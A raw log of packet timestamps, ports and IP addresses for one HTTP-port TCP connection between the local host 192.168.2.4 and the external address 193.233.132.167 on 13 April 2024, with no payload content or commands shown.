Apr 13, 2024 20:21:13.970416069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970426083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970467091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970487118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970504045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970520973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970554113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970567942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970587969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970613003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970627069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970628977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970649004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970654011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970664978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970666885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970685005 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970686913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970709085 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970716953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970730066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970748901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970765114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970781088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970783949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970798016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970804930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970813036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970819950 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970830917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970845938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970846891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970865011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970866919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970875025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970884085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970885038 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970901966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970904112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970920086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970928907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970937014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970937014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970952988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970961094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970971107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970985889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.970988035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.970999002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971005917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971015930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971023083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971029043 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971040964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971048117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971059084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971069098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971076965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971093893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971097946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971111059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971126080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971129894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971144915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971147060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971163034 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971163988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971180916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971189022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971199036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971211910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971215963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971224070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971232891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971244097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971251011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971266985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971268892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971282959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971297979 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971299887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971307993 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971317053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971333027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971338034 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971349001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971362114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971365929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971383095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971383095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971395969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971399069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971412897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971416950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971432924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971437931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971450090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971465111 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971466064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971482992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971487045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971498966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971510887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971515894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971534014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971534014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971543074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971550941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971563101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971568108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971580029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971585035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971591949 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971601009 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971611977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971617937 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971621990 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971632957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971635103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971648932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971652031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971668959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971671104 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971684933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971687078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971703053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971707106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971716881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971719980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971738100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971755028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971760988 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971771002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971772909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971791029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971795082 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971807003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971807957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971824884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971827984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971841097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971843958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971858025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971858978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971877098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971883059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971893072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971894026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971910954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971916914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971927881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971934080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971946001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971952915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971962929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971966028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971980095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.971983910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971993923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.971997023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972018003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972018957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972028017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972037077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972053051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972063065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972069025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972085953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972090960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972103119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972110987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972120047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972130060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972136021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972152948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972152948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972170115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972177029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972187042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972199917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972203970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972209930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972230911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972230911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972249031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972251892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972268105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972285032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972287893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972301006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972310066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972317934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972333908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972335100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972351074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972353935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972361088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972368002 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972382069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972384930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972394943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972402096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972410917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972418070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972430944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972434044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972440004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972450972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972455978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972467899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972472906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972484112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972486973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972498894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972501040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972517967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972533941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972537994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972537994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972551107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972568035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972583055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972592115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972599983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972615957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972618103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972626925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972635031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972651958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972656012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972670078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972676992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972687006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972704887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:13.972708941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972708941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972727060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:13.972739935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308428049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308486938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308525085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308562994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308559895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308559895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308603048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308624983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308624983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308666945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308706999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308715105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308738947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308744907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308758020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308784962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308794022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308825016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308861971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308867931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308868885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308900118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308903933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.308936119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308973074 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.308981895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309010029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309046984 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309067011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309083939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309094906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309120893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309158087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309170961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309195995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309233904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309267998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309271097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309287071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309309006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309317112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309345007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309382915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309396029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309422016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309422970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309422970 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309458017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309497118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309509039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309531927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309557915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309571981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309612036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309633017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309648037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309654951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309685946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309726000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309736013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309762955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309799910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309808969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309838057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309849977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309850931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309878111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309917927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309921980 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309954882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.309963942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309964895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.309993029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310009003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310034037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310054064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310071945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310092926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310107946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310117006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310144901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310182095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310194016 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310220957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310240984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310257912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310293913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310307026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310331106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310367107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310378075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310405016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310441017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310453892 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310477972 CEST	80	49744	193.233.132.167	192.168.2.4
